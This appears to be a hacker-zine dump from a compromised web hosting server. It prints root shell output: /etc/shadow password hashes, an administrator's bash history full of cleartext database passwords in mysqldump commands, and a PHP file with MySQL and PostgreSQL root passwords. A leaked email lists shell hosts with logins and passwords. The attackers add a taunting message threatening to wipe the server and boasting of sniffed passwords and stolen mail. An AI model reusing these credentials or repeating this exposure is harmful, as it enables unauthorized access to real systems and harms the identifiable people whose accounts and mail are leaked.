admin:$1$4D0sNmBY$MJeOQUDNLSgVlOp4OYrAX/:12058:0:99999:7:::
vhbackup:$1$ztF7pohW$fUJCCW9xqQKEPqWiZLYER/:12219:0:99999:7:::
[root@sigurime:/root]# ls -al
total 7108
drwxr-x--- 10 root root 12288 Dec 9 05:29 .
drwxr-xr-x 21 root root 4096 Dec 9 05:18 ..
-rw-r--r-- 1 root root 1126 Aug 23 1995 .Xresources
-rw-r--r-- 1 root root 0 Feb 20 2003 .addressbook
-rw------- 1 root root 2285 Feb 20 2003 .addressbook.lu
-rw------- 1 root root 13580 Dec 9 05:31 .bash_history
-rw-r--r-- 1 root root 24 Jun 10 2000 .bash_logout
-rw-r--r-- 1 root root 234 Jul 5 2001 .bash_profile
-rw-r--r-- 1 root root 176 Aug 23 1995 .bashrc
drwxr-xr-x 5 root root 4096 Apr 3 2003 .cpan
-rw-r--r-- 1 root root 210 Jun 10 2000 .cshrc
-rw------- 1 root root 0 Jan 5 2003 .cvspass
drwx------ 2 root root 4096 Feb 20 2004 .links
-rw-r--r-- 1 root root 11 Sep 1 2002 .mh_profile
-rw------- 1 root root 1050 Feb 24 2004 .mysql_history
drwxr-xr-x 2 root root 4096 Jun 14 2002 .ncftp
-rw------- 1 root root 14716 Jul 27 14:53 .pinerc
-rw------- 1 root root 1088 Jun 12 2003 .psql_history
drwx------ 2 root root 4096 Aug 1 2002 .ssh
-rw-r--r-- 1 root root 196 Jul 11 2000 .tcshrc
-rw-r--r-- 1 root root 0 Dec 4 03:20 SQLBACKUP.sqll
-rw-r--r-- 1 root root 0 Dec 4 03:20 SQLBACKUP.sqmysqldump
drwxr-xr-x 2 root root 4096 Feb 21 2004 backups
-rw-r--r-- 1 root root 34167 Sep 26 14:38 chkrootkit-0.44.tar.gz
-rw------- 1 root root 597 Sep 18 04:17 dead.letter
drwxr-xr-x 7 root root 4096 Feb 21 2004 downloads
-rw-r--r-- 1 root root 6968544 Sep 15 05:22 elitepro_2.0_features.tar.gz
-rw-r--r-- 1 root root 147 Sep 15 05:18 elitepro_cgi_data
-rw-r--r-- 1 root root 165 Sep 15 05:18 elitepro_data
-rw-r--r-- 1 root root 0 Sep 19 20:32 endpoint.log
-rw-r--r-- 1 root root 164 Apr 2 2003 ensimelite_mysql_data
-rw-r--r-- 1 root root 112730 Sep 26 14:42 rkhunter-1.1.8.tar.gz
drwx------ 2 root root 4096 Sep 24 22:29 tmp
drwxr-xr-x 3 root root 4096 Oct 10 2002 var
[root@sigurime:/root]# cat .bash_history
pico -w root
rm root
top
locate read-data.pl
dir
top
killall sendmail
killall read-dta.pl
/etc/rc.d/init.d/sendmail status
/etc/rc.d/init.d/sendmail stop
top
/etc/rc.d/init.d/sendmail status
/etc/rc.d/init.d/sendmail status
/etc/rc.d/init.d/sendmail stop
killall sendmail
/etc/rc.d/init.d/sendmail start
exit
dor
dor
dir
top
killall sendmail
/etc/rc.d/init.d/sendmail stop
top
top
killall java
dir
top
ocwhttpd
pico -w /etc/httpd/conf/site1/0sqmail
ocwhttpd
ocwhttpd
pico -w /etc/httpd/conf/site1/0sqmail
ocwhttpd
pico -w /etc/httpd/conf/site1/0sqmail
pico -w /etc/httpd/conf/site1/0sqmail
ocwhttpd
httpd
pico -w /etc/httpd/conf/site1/0sqmail
httpd
pico -w /etc/httpd/conf/site10/0sqmail
httpd
top
java
./java
proftpd
proftpd status
top
killall python2.1
dir
top
killall mingetty
top
top
killall mysqld
top
killall named
killall httpd
top
./sbin/reboot
/sbin/reboot elp
/sbin/reboot help
/sbin/reboot
/etc/rc.d/init.d/sendmail start
su -
locate shoutcast
cd /usr/local/shoutcast/
./radiokosova
/etc/rc.d/init.d/sendmail re start
/etc/rc.d/init.d/sendmail restart
locate shoutcast
cd /usr/local/shoutcastbluesky
./sc_serv
dir
top
/sbin/reboot
uptime
cd /usr/local/shoutcastbluesky
./sc_serv
cd /usr/local/shoutcast
./sc_serv
./radiokosova
dir
top
cd /usr/local/shoutcastbluesky
./sc_serv
dir
top
cd /usr/local/shoutcastbluesky
dir
README
pico README
./sc_serv &
./sc_serv &.
killall sc_se
dir
top
dir
cd /usr/local/shoutcast
dir
./radiokosova &.
uname -a
cd /sbin/
dir
/sbin/appliance
/sbin/sendmail
/sbin/sendmail stop
/sbin/service
/sbin/service -status-all
/sbin/service --status-all
/sbin/service
/sbin/service ypserv
/sbin/service ypserv start
/sbin/service ypxfrd start
/sbin/service ypxfrd
/sbin/service ypxfrd status
/sbin/service ypbind start
/sbin/service ypbind status
/sbin/service ypbind
/sbin/service ypbind start
/sbin/service squid start
/sbin/service nscd start
/sbin/service portmap start
/sbin/service tomcat4 start
/sbin/service tux start
/sbin/service rpc.yppasswdd start
/sbin/service snmptrapd start
top
/sbin/service
cd /sbin/service
pico -w
pico -w Mail Account Maintenance
cd /sbin/service
pico -w /sbin/service
/sbin/service
/sbin/service --full-restart
/sbin/service help
/sbin/service
/sbin/service --full-restart help
./sbin/service
/sbin/service
/sbin/service --status-all
cd /etc/init.d/
dir
/etc/init.d/bandwidth_manager
/etc/init.d/bandwidth_manager stop
cd /etc/rc.d/init.d
dir
/etc/rc.d/init.dbandwidth_manager stop
/etc/rc.d/init.db/apf status
/etc/rc.d/init.db/apf
/etc/rc.d/init.d/apf
/etc/rc.d/init.d/apf start
locate presheva.com
locate shqiponjat.net
cd /var/pkg/shqiponjat.net
dir
locate ejona
locate cpmove
who
/etc/rc.d/init.d/sendmail restart
tar -zxvf /home/cpmove-ejona.tar.gz
dir
cd cpmove-ejona
dir
cd cp
dir
cd ejona
dir
pico -w ejona
cd logs
cd homedir
locate presheva.com
cd /home/virtual/site5/fst/var/www/
dir
cd html
dir
cd ..
dor
dir
tar html
dir
tar help
tar
cp html html.tar.gz
dir
cp html html.tar.gz
cp html html.tar
dir
cd html
dir
cd ..
cp html httml
mv html html.tar.gz
dir
cp html.tar.gz
cp html.tar.gz html.tar
dir
cd html.tar.gz
dir
cd ..
dir
mv html.tar.gz html
dir
Image::Magic
/sbin/reboot
/sbin/reboot
who
who
su -
cd /usr/local/shoutcast
./radiokosova
dir
cd /usr/local/shoutcast
cd ..
dir
cd shoutcastbluesky
dir
./sc_serv
dir
/etc/rc.d/init.db/apf
cd /etc/apf
dir
apf
apf -st
locate bloodyalboz.com
locate bloodyalboz
locate bloody
whereis
whereis -SBM
whereis -SBM bloody
cd ..
dir
locate
locate -v
locate -V
locate -l
locate
locate bloddy
locate bloody
whereis bloody
locate kosova
locate bloody
locate bloo
locate unikkatil
exut
exit
locate prishtina.com
ditr
dir
cd ..
dir
cd .
dur
cd ;/
cd /
dir
cd usr
dir
cd root
cd ..
cd root
dir
cd backups
dir
cd ..
dir
exit
dire
dir
cd ..
dir
cd home
dir
dir
cd ..
dir
chmod 7775 home
dir
cd home
dir
cd cpmove-preshevali
dir
cd mysql
dir
dir
cd ..
dir
cd ..
dir
locate preemedia.com
locate admin3
locate site3
dir
cd ..cpmove-tarllabuq.tar.gz
dir
cd home
dir
mv cpmove-tarllabuq.tar.gz virtual
dir
cd virtual
dir
mv cpmove-tarllabuq.tar.gz admin3
cd admin3
dir
mv cpmove-tarllabuq.tar.gz var
dir
cd var
dir
mv cpmove-tarllabuq.tar.gz www
dir
cd www
dir
mv cpmove-tarllabuq.tar.gz html
cd html
dir
chmod 7775 cpmove-tarllabuq.tar.gz
gunzup cpmove-tarllabuq.tar.gz
gunzip cpmove-tarllabuq.tar.gz
dir
CD /HOME
cd /home
dir
cd cpmove-bloodyalboz
dir
cd homedir
dir
cd www
dir
cd ..
dir
cd mail
dir
cd inbox
cd
cd ..
dir
cd home
dir
cd. .
cd ..
chmod 7775 home
cd /etc/apf
dir
pico -w deny_hosts.rules
pico -w allow_hosts.rules
dir
top
/sbin/reboot
cd /usr/local/shoutcastbluesky
dir
./sc_serv
cd shoutcastbluesky
cd /usr/local/shoutcast
./radiokosova
/etc/rc.d/init.d/apf start
top
cd /usr/local/shoutcast
dir
./radiokosova
dir
pico -w sc_serv.conf
./sc_serv
dir
./radiokosva
./radiokosova
dir
cd ..
dir
cd shoutcatpalidhje
cd shoutcastpalidhje
dir
pico -w sc_serv.conf
./sc_serv
./sc_serv
cd ..
dir
cd shoutcast
dir
cd ..
rm -rf shoutcastpalidhje
dir
rm -rf shoutcast
dir
cp shoutcastbluesky shoutcast
dir
cp shoutcastblueksy shoutcast
dir
cp shoutcastbluesky shoutcast
cp shoutcast
cp shoutcastbluesky
cp --help
dir
cd games
dir
cd ..
rm -rf games
dir
wget http://www.shoutcast.com/downloads/sc1-9-4/shoutcast-1-9-4-linux-glibc6.tar.gz
tar -xzvf shoutcast-1-9-4-linux-glibc6.tar.gz
dir
mv shoutcast-1-9-4-linux-glibc6 shoutcast
dir
cd shoutcast
dir
pico -w sc_serv.conf
dir
./sc_serv
./sc_serv
dir
cd ..
dir
mv shoutcast-1-9-4-linux-glibc6 shoutcast
tar -xzvf shoutcast-1-9-4-linux-glibc6.tar.gz
cd shoutcast-1-9-4-linux-glibc6
dir
pico -w sc_serv
dir
pico -w sc_serv.conf
cd shoutcast-1-9-4-linux-glibc6
./sc_serv
dir
/etc/rc.d/init.d/apf stop
cd /usr/local/shoutcastbluesky
./sc_serv
dir
cd /usr/local/shoutcast
./sc_serv
/etc/rc.d/init.d/apf stop
./sc_serv
./sc_serv
pico -w sc_serv.conf
./sc_serv
dir
/etc/rc.d/init.d/apf stop
/etc/rc.d/init.d/apf stop
/etc/rc.d/init.d/apf stop
lcoate apsf
lcoate apf
locate apf
cd
dir
cd /etc/apf
dir
pico -w main.rules
cd internals
dir
pico -w cports.common
dir
cd ..
dir
pico -w deny_hosts.rules
dir
pico -w bt.rules
pico -w allow_hosts.rules
/etc/rc.d/init.d/apf stop
/etc/rc.d/init.d/apf start
iptable
iptables
iptables -h
iptables -t
iptables -V
iptables -l
iptables -L
iptables -h
iptables -P
iptables -ADC
iptables
iptables -h
iptables -C
iptables -C 23
iptables -s
iptables -C -s
exit
dir
mv ksrap.sql /home/virtual/site3
mv /home/virtual/site3
cd /home/virtual/site3
dir
mv ksrap.sql fst
cd fst
mv ksrap.sql var
dir
cd var
doir
dir
mv ksrap.sql www
dir
cd www
dir
mv ksrap.sql html
dir
cd html
dir
chmod 7775 ksrap.sql.zip
tar ksrap.sql
tar -h
tar -help
tar -h
mv ksrap.sql.tar
mv ksrap.sql ksrap.sql.tar
dir
/etc/rc.d/init.d/apf stop
mv ksrap.sql.tar ksrap.sql
chmod
chmod -help
chmod -h
chmod --help
/etc/rc.d/init.d/apf stop
cd /etc/apf
dir
cd firewall
dir
cd apf
apf
apf -a
apf -a 207.44.160.90
apf -st
apf
apf -r
rm -rf /var/spool/mail/root
mysqldump -ukosovarap -penisuzy kosovarap_com >ksrap.sql
mysqldump -ukosovarap -penisuzy kosovarap_com > ksrap.sql
dir
locate preemedia.com
cd /home/virtual/site3
su -
dir
locate prishtina.com
cd /virtual/site33/fst/var/www/
dir
cd ..
dir
cd var
dir
cd www
dir
cd html
dir
cd ..
cd ..
cd ..
cd home
dir
cd /virtual/site33/fst/var/www/
cd /virtual/site33/fst/
cd virtual
dir
cd site33
dir
cd fst
dir
cd home
dir
cd ..
dir
cd var
dir
cd www
dir
cd html
dir
mv forum forum.zip
/etc/rc.d/init.d/apf stop
/etc/rc.d/init.d/apf stop
dir
mv forum.zip forum
gunzip forum
tar -f foum
tar -f forum
tar -trux forum
zip forum
mv forum forum.tar.gz
mv forum.tar.gz forum
dir
cd forum
dir
cd ..
dir
cd forum
pico -w config.php
mysqldump -uprishtinabuq -pterr9kop kosovarap_com > ksrap. mysqldump -uprishtinabuq -pterr9kop kosovarap_com > ksrap.sqlsql
pico -w config.php
mysqldump -uprishtinabuq -pterr9kop kosovarap_com > ksrap.sql
mysqldump -uprishtinabuq -pterr9kop prishtina_com_forum > forum.sql
dir
/etc/rc.d/init.d/apf stop
/etc/rc.d/init.d/sendmail stop
top
killall sendmail
top
/etc/rc.d/init.d/sendmail start
/etc/rc.d/init.d/sendmail
/etc/rc.d/init.d/sendmail restart
top
killall sendmail
/etc/rc.d/init.d/sendmail restart
/etc/rc.d/init.d/sendmail stop
/etc/rc.d/init.d/sendmail restart
/etc/rc.d/init.d/apf stop
cd /etc/apf
dir
VERSION
cd. .
cd ..
rm -ef apf
rm -rf apf
/etc/rc.d/init.d/apf stop
rm -rf /etc/rc.d/init.d/apf
/etc/rc.d/init.d/apf stop
locate kosovonews
locate kosovonews.net
locate kosovonew
locate kosovo
cd ...
dir
cd..
di
cd ..
dir
cd var
dir
cd ..
dir
cd usr
dir
cd local
dir
cd ..
dir
cd ..
dir
cd ..
dir
cd home
dir
cd virtual
dir
cd kosovonews.net
dir
cd usr
dir
cd share
dir
cd ..
dir
cd ..
dir
cd var
dir
cd www
dir
cd html
dir
pico config.php
dir
cd news
dir
pico -w config.php
dir
cd includes
dir
cd ..
dir
pico -w robots.txt
dor
dir
mysqldump -u -pterr9kop prishtina_com_forum > forum.sql
cd ..
dir
cd ..
dir
cd ..
dir
cd ..
dir
cd ..
dir
cd preemedia.com
dir
cd var
dir
cd www
dir
cd html
dir
mysqldump -uroot -pmediaone kosovonews_net > SQLBACKUP.sql
dir
chmod 7775 SQLBACKUP.sql
locate presheva.com
cd /home/virtual/presheva.com
dir
cd var
dir
cd www
dir
cd html
dir
cd forum
dir
pico -w config.php
mysqldump -upreshevacom -pardi presheva_com > SQLBACKUP.sql
dir
cd ..
dir
cd ..
dir
cd ..
dir
cd ..
dr
dir
cd ..
dir
cd site1
dir
cd info
dir
cd new
dir
cd ..
dir
cd ..
dir
cd ..
dir
cd site3
dir
cd fst
dir
cd www
cd var
dir
cd www
dir
cd html
dir
cd share
mysqldump -upreshevacom -pardi presheva_com > presheva.sql
dir
/etc/rc.d/init.d/sendmail restart
dir
top
killall sendmail
top
top
top
rm -rf /var/spool/mail/root
top
/etc/rc.d/init.d/sendmail restart
top
rkhunter
top
killall sendmail
/etc/rc.d/init.d/sendmail restart
/etc/rc.d/init.d/sendmail restart
/etc/rc.d/init.d/sendmail restart
/etc/rc.d/init.d/sendmail restart
rm -rf /var/spool/mail/root
/etc/rc.d/init.d/sendmail stop
killall sendmail
/etc/rc.d/init.d/sendmail start
top
cd /etc/rc.d/init.d/
dir
/etc/rc.d/init.d/webppliance start
/etc/rc.d/init.d/postgresql start
/etc/rc.d/init.d/postgresql stop
/etc/rc.d/init.d/postgresql start
rm -rf /var/spool/mail/root
dir
/etc/rc.d/init.d/ start
locate ragip
locate rag
cd ..
dor
dir
c var
dir
cd var
dir
cd www
dir
cd ..
dir
cd ..
dir
cd rtc
cd etc
dir
cd ..
dir
cd usr
dir
cd virtual
cd ..
dir
cd home
dir
cd virtual
cd plisatforum.com
dir
cd var
dir
cd www
cd html
dir
pico -w config.php
dir
mysqldump -uplisatforum -ph3lpy0u plisatforum_com > plisatforum.sql
fir
dir
cd ..
dir
cd var
dir
cd ..
dir
cd usr
dir
cd etc
dir
dir
cd .
cd ..
dir
cd ..
dir
cd home
dir
cd ..
cd root
dir
mv plisatforum.sql /home
dir
cd ..
dir
cdhome
cd home
dir
cd admin
dir
cd sim
dir
cd ..
dir
cd ..
dir
mv plisatforum virtual
mv plisatforum.sql virtual
dir
cd virtual
dir
mv plisatforum.sql plisatforum.com
dir
cd plisatforum
cd plisatforum.com
dir
mv plisatforum.sql var
cd var
dir
mv plisatforum.sql w
mv plisatforum.sql www
dir
mv w plisatforum.sql
mv plisatforum.sql www
dir
cd ww
cd www
dir
mv plisatforum.sql html
dir
cd html
dir
chmod 0755 plisatforum.sql
mysqldump -upreshevacom -pardi presheva_com > SQLBACKUP.sqmysqldump -upreshevacom -pardi presheva_com > SQLBACKUP.sqll
locate shoutcast
/usr/local/shoutcast
./sc_serv
dir
cd /usr/local/shoutcast
./sc_serv
cd /usr/local/shoutcast
cd ..
dir
cd shoutcastbluesky
./sc_serv
cd /usr/local/shoutcast
./sc_serv
/sbin/reboot
top
cd /etc/rc.d/init.d/
dir
dir
/etc/rc.d/init.d/httpd
/etc/rc.d/init.d/httpd statis
/etc/rc.d/init.d/httpd status
/etc/rc.d/init.d/httpd start
pico -w /etc/rc.d/init.d/httpd
#EV1S-JRyan Checking Apache Problem
cat /etc/hosts
cat /etc/sysconfig/network
/etc/rc.d/init.d/httpd restart
vi /etc/httpd/conf/httpd.conf
w
/etc/rc.d/init.d/httpd stop
/etc/rc.d/init.d/httpd stop
killall -9 httpd
/etc/rc.d/init.d/httpd restart
vi /etc/httpd/conf/subdomains/xhavitrexhaj.enterdesign.ws
vi /etc/httpd/conf/subdomains/xeher.aiseni.com
cat /etc/httpd/conf/subdomains/xhavitrexhaj.enterdesign.ws
cat /etc/httpd/conf/subdomains/xeher.aiseni.com
vi /etc/httpd/conf/subdomains/xhavitrexhaj.enterdesign.ws
/etc/rc.d/init.d/httpd start
ls /var/log/
ls /var/log/httpd/
du -h /var/log/httpd/
cd /var/log/httpd/
du -h
ls
du -h access_log-ssl
du -h error_log
du -h mod_jk.log
du -h suexec_log
ls
ls -a
ls -ah
cd ..
ls
du -h
cd ..
/etc/rc.d/init.d/httpd start
ls
ls log/
du -h log/ensim_appliance.log
cd log/
ls
du -h
du -h httpd/
cd httpd/
du -h
du -h *
ls -al
touch access_log
ls -al
/etc/rc.d/init.d/httpd start
ls -al
ls /etc/httpd/conf/subdomains/xhavitrexhaj.enterdesign.ws
ls /etc/httpd/conf/subdomains/xhavitrexhaj.enterdesign.ws/
cd /etc/httpd/conf/subdomains/
ls
ls -al
cd /var/log/httpd/
ls
> mod_jk.log
/etc/rc.d/init.d/httpd start
cd /var/log/httpd/
ls
ls mod_jk.log
ls mod_jk.log/
mv mod_jk.log /~
/etc/rc.d/init.d/httpd start
mv ~/mod_jk.log .
mv ~/mod_jk.log ./
pwd
touch mod_jk.log
/etc/rc.d/init.d/httpd start
ls /home/virtual/site1/
ls /home/virtual/site1/info/
ls /home/virtual/site1/info/new/
ls /home/virtual/site16
ls /home/virtual/site16/fst/
ls /home/virtual/site16/fst/var/log/httpd/
du -h /home/virtual/site*/fst/var/log/httpd/
ls /home/
ls /home/virtual/
ls /home/virtual/xhavitrexhaj.enterdesign.ws
ls /home/virtual/enterdesign.ws
ls /home/virtual/enterdesign.ws/var/
ls /home/virtual/enterdesign.ws/var/log/
ls /home/virtual/enterdesign.ws/var/log/httpd/
du -h /home/virtual/enterdesign.ws/var/log/httpd/
cd /
du -h | grep [0-9]G
exit
top
ls
wget chkrootkit.techfiles.org
wget rkhunter.techfiles.org
ps
cd /etc/httpd/logs/
ls
du -h
du -h *
> error_log
/etc/rc.d/init.d/httpd start
#EV1S-JRyan Out
exit
[root@sigurime:/root]# cat ensimelite_mysql_data
<?
$host = "localhost";
$user = "root";
$pass = "gezim"; // mysql root password
$pgpass = "preemedia"; // postgresql root password
?>
[root@sigurime:/root]# cat .psql_history
SELECT * FROM pg_shadow;
UPDATE pg_shadow SET passwd = 'password';
UPDATE pg_shadow SET passwd = 'delete';
SELECT * FROM pg_shadow;
\q
UPDATE pg_shadow SET passwd = 'password';
SELECT * FROM pg_shadow;
di
dir
\q
SELECT * FROM pg_shadow;
UPDATE pg_shadow SET passwd = 'password';
UPDATE pg_shadow SET passwd = 'preemedia';
SELECT * FROM pg_shadow;
/q
\q
UPDATE pg_shadow SET passwd = 'preemedia';
\SELECT * FROM pg_shadow
SELECT * FROM pg_shadow;
\q
SELECT * FROM pg_shadow;
\q
SELECT * FROM pg_shadow;
\q
dir
SELECT * FROM pg_shadow;
SELECT * FROM pg_shadow;
dir
UPDATE pg_shadow SET passwd = 'preemedia';
UPDATE pg_shadow SET passwd = 'preemedia';
SELECT * FROM pg_shadow;
\q
UPDATE pg_shadow SET passwd = 'preemedia'
template1=# select * from pg_shadow;
select * from pg_shadow;
/q
\q
UPDATE pg_shadow SET passwd = 'preemedia';
SELECT * FROM pg_shadow;
\q
SELECT * FROM pg_shadow;
\q
select * from site_info where site_id=40;
select * from siteinfo where site_id=40;
show tables;
show
;
\help
show tables;
\h
\?
\d
describe users;
\?
\d users
\d
\d siteinfo
select * from siteinfo;
\q
[root@sigurime:/root]# cat .mysql_history
\h
status
\h
\e
mysql -h 216.127.80.10 mysql
GRANT ALL PRIVILEGES ON *.* TO "root"@"localhost"
IDENTIFIED BY "g3zim"
\e
\h
\q
UPDATE gezim SET Password=g3zimi
;
UPDATE gezim SET Password=g3zimi
:
;
UPDATE user SET Password=PASSWORD('mynewpassword')
WHERE User='root';
UPDATE user SET Password=PASSWORD('gezim')
WHERE User='root';
\help
\e
UPDATE user SET Password=PASSWORD('g3zimi')WHERE user='root';
dir
quit;
UPDATE user SET Password=PASSWORD('new_password')
WHERE user='root';
UPDATE user SET Password=PASSWORD('g3zimi')
\e
FLUSH PRIVILEGES;
mysql -u root mysql
quit;
quit;
\h
\?
\s
\?
\#
\g
\G
\T
\u
\q
vuninstall mysql
;
\q
vuninstall mysql
quit
quit;
quit;
FLUSH PRIVILEGES;
vuninstall mysql
;
quit;
admin_appl
dir
;
dir
;
;
help
\q
\g
\q
FLUSH PRIVILEGES;
\h
\.
\.
\q
SHOW TABLES;
;
\q
SHOW TABLES;
\q
\c
\e
UPDATE user SET Password=PASSWORD('preemedia') WHERE User='root';
FLUSH PRIVILEGES;
\h
go
\g
g a
a
update `user` set Create_tmp_table_priv = 'N', Lock_tables_priv = 'N' where user <> 'root';
flush privileges;
show databases;
\h
\q
[root@sigurime:/]# cd etc
[root@sigurime:/etc]# cat shadow
root:$1$hu/jkFt3$KAI7rRamZyNeRCdpYXBir/:12058:0:99999:7:::
bin:*:11827:0:99999:7:::
daemon:*:11827:0:99999:7:::
adm:*:11827:0:99999:7:::
lp:*:11827:0:99999:7:::
sync:*:11827:0:99999:7:::
shutdown:*:11827:0:99999:7:::
halt:*:11827:0:99999:7:::
mail:*:11827:0:99999:7:::
news:*:11827:0:99999:7:::
uucp:*:11827:0:99999:7:::
operator:*:11827:0:99999:7:::
games:*:11827:0:99999:7:::
gopher:*:11827:0:99999:7:::
ftp:*:11827:0:99999:7:::
nobody:*:11827:0:99999:7:::
mailnull:!!:11827:0:99999:7:::
rpm:!!:11827:0:99999:7:::
rpc:!!:11827:0:99999:7:::
rpcuser:!!:11827:0:99999:7:::
nfsnobody:!!:11827:0:99999:7:::
nscd:!!:11827:0:99999:7:::
ident:!!:11827:0:99999:7:::
radvd:!!:11827:0:99999:7:::
postgres:!!:11827:0:99999:7:::
apache:!!:11827:0:99999:7:::
squid:!!:11827:0:99999:7:::
named:!!:11827:0:99999:7:::
mysql:!!:11827:0:99999:7:::
admin:$1$4D0sNmBY$MJeOQUDNLSgVlOp4OYrAX/:12058:0:99999:7:::
majordomo:!!:11852:0:99999:7:::
fpweb:!!:11852:0:99999:7:::
zope:!!:11852:0:99999:7:::
vhbackup:$1$ztF7pohW$fUJCCW9xqQKEPqWiZLYER/:12219:0:99999:7:::
tomcat4:!!:11852:0:99999:7:::
admin2:!!:11898:0:99999:7:::
admin4:!!:11902:0:99999:7:::
admin3:!!:11902:0:99999:7:::
admin5:!!:11923:0:99999:7:::
admin8:!!:11927:0:99999:7:::
admin9:!!:11927:0:99999:7:::
admin11:!!:11952:0:99999:7:::
admin13:!!:11972:0:99999:7:::
admin15:!!:11990:0:99999:7:::
admin16:!!:11997:0:99999:7:::
admin19:!!:12005:0:99999:7:::
admin20:!!:12005:0:99999:7:::
admin21:!!:12007:0:99999:7:::
admin22:!!:12010:0:99999:7:::
admin18:!!:12017:0:99999:7:::
admin23:!!:12022:0:99999:7:::
admin24:!!:12022:0:99999:7:::
admin25:!!:12022:0:99999:7:::
admin27:!!:12025:0:99999:7:::
admin29:!!:12030:0:99999:7:::
admin31:!!:12042:0:99999:7:::
admin34:!!:12047:0:99999:7:::
admin35:!!:12047:0:99999:7:::
admin36:!!:12047:0:99999:7:::
admin37:!!:12047:0:99999:7:::
admin38:!!:12054:0:99999:7:::
admin39:!!:12063:0:99999:7:::
admin41:!!:12069:0:99999:7:::
admin42:!!:12069:0:99999:7:::
admin43:!!:12074:0:99999:7:::
admin44:!!:12081:0:99999:7:::
admin45:!!:12089:0:99999:7:::
admin47:!!:12103:0:99999:7:::
admin46:!!:12104:0:99999:7:::
admin48:!!:12104:0:99999:7:::
admin49:!!:12106:0:99999:7:::
admin50:!!:12109:0:99999:7:::
admin51:!!:12109:0:99999:7:::
admin52:!!:12112:0:99999:7:::
admin53:!!:12115:0:99999:7:::
admin54:!!:12116:0:99999:7:::
admin55:!!:12116:0:99999:7:::
admin57:!!:12127:0:99999:7:::
admin58:!!:12127:0:99999:7:::
admin60:!!:12128:0:99999:7:::
admin61:!!:12136:0:99999:7:::
admin62:!!:12136:0:99999:7:::
admin63:!!:12139:0:99999:7:::
admin64:!!:12142:0:99999:7:::
admin65:!!:12143:0:99999:7:::
admin59:!!:12145:0:99999:7:::
admin67:!!:12148:0:99999:7:::
admin68:!!:12148:0:99999:7:::
admin69:!!:12160:0:99999:7:::
admin70:!!:12164:0:99999:7:::
admin71:!!:12179:0:99999:7:::
admin73:!!:12187:0:99999:7:::
admin74:!!:12194:0:99999:7:::
admin75:!!:12199:0:99999:7:::
admin77:!!:12204:0:99999:7:::
admin78:!!:12208:0:99999:7:::
admin79:!!:12208:0:99999:7:::
admin80:!!:12208:0:99999:7:::
admin81:!!:12209:0:99999:7:::
admin82:!!:12209:0:99999:7:::
admin83:!!:12212:0:99999:7:::
admin33:!!:12220:0:99999:7:::
admin40:!!:12233:0:99999:7:::
admin76:!!:12235:0:99999:7:::
admin84:!!:12235:0:99999:7:::
admin85:!!:12235:0:99999:7:::
admin86:!!:12251:0:99999:7:::
admin87:!!:12268:0:99999:7:::
admin88:!!:12281:0:99999:7:::
admin89:!!:12281:0:99999:7:::
admin92:!!:12297:0:99999:7:::
admin93:!!:12297:0:99999:7:::
admin94:!!:12303:0:99999:7:::
admin96:!!:12340:0:99999:7:::
admin97:!!:12351:0:99999:7:::
admin98:!!:12367:0:99999:7:::
admin99:!!:12378:0:99999:7:::
admin100:!!:12380:0:99999:7:::
admin101:!!:12403:0:99999:7:::
admin102:!!:12405:0:99999:7:::
admin103:!!:12430:0:99999:7:::
admin104:!!:12436:0:99999:7:::
admin105:!!:12437:0:99999:7:::
admin106:!!:12444:0:99999:7:::
admin107:!!:12444:0:99999:7:::
admin108:!!:12444:0:99999:7:::
admin109:!!:12454:0:99999:7:::
admin111:!!:12455:0:99999:7:::
admin112:!!:12456:0:99999:7:::
admin113:!!:12457:0:99999:7:::
admin114:!!:12460:0:99999:7:::
admin115:!!:12460:0:99999:7:::
admin116:!!:12466:0:99999:7:::
admin6:!!:12481:0:99999:7:::
admin28:!!:12504:0:99999:7:::
admin32:!!:12507:0:99999:7:::
admin56:!!:12507:0:99999:7:::
admin90:!!:12507:0:99999:7:::
admin95:!!:12507:0:99999:7:::
admin110:!!:12507:0:99999:7:::
admin117:!!:12507:0:99999:7:::
admin118:!!:12507:0:99999:7:::
admin119:!!:12524:0:99999:7:::
admin10:!!:12556:0:99999:7:::
admin120:!!:12556:0:99999:7:::
admin121:!!:12560:0:99999:7:::
[root@sigurime:/etc]# uname -a
Linux dns.preemedia.com 2.4.9-34 #1 Sat Jun 1 06:25:16 EDT 2002 i686 unknown
[root@sigurime:/etc]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
y0 isabella. After sniffing your box we found bx's bnc passwords. Too bad this
scared bitch doesnt even use it. But his el8 friendz do.
KrAzIe
warl0rd "sumwhere.net" "216.KrAzIe
seetech
fallout
ShAgä
ShAgY "ShAgY.net" "blossom.se(ShAgä
atomix
atomix pavilion open.sourced.(atomix
jebacina
If you keep bx's dumb ass on your box any longer we'll rm the whole thing. Take care.
ps. bx, w3 g0t y0ur m41l sp00lz
From bx@sigurime.org@dns.preemedia.com Sat Jul 31 21:51:16 2004 -0400
Received: from 62.162.228.94
(SquirrelMail authenticated user bx@sigurime.org)
by www.sigurime.org with HTTP;
Sat, 31 Jul 2004 21:51:16 -0400 (EDT)
Message-ID: <4160.62.162.228.94.1091325076.squirrel@www.sigurime.org>
Date: Sat, 31 Jul 2004 21:51:16 -0400 (EDT)
Subject: o mut, meri kto shella shtini nbith se asni shell sbojke :P
From: bx@sigurime.org
To: niceboy@tyranz.net
User-Agent: SquirrelMail/1.4.0-1.7.ct
MIME-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
X-Priority: 3
Importance: Normal
Status: RO
X-Status:
X-Keywords:
X-UID: 15
---------------------------- Original Message ----------------------------
Subject: shella.
From: niceboy@tyranz.net
Date: Sat, July 24, 2004 8:46 pm
To: bx@sigurime.org
--------------------------------------------------------------------------
> storm.magicshells.com login:zone
> eat.snot.com login:worm pass:worm
> login.neuricon.net login:shkupi
> mars.unixrules.net login:worm
> hostinginside.com login:login
> 217.8.159.194 l: worm , pw: temp321 vhost - 217.8.159.194 and
> 217.8.159.196
> lanstorm.org l:worm pass:
> vf.pl login:core pass:
> flux.wickednetworks.com login:shcrew pass:
> login.readyshell.net login:worm pass:
> shells.indiashells.com login:server - www.xlhosters.com/server.html
box1.tyranz.com login:blackhat pass:
> ircop.k-lined.us login:server pass:
> pakishells.com login:timer pass:
> 63.110.126.86 login:worm pass:
> mustang.aeternamtech.com login:shcrew
> coreshells.net login:blackhat pass:
>
pass: v0ltcafe
n1c3, y0u fuck1ng n1tw1t. y0u b3tt3r run, h0no w1ll 3xt3rm1n4t3 y0u!
-~-~-~
This letter nearly through me off my chair. If it is truely from h0no,
then this case is cracked wide open. Now I needed to jump into my
./ack-mobile and find out who is in the h0no team.
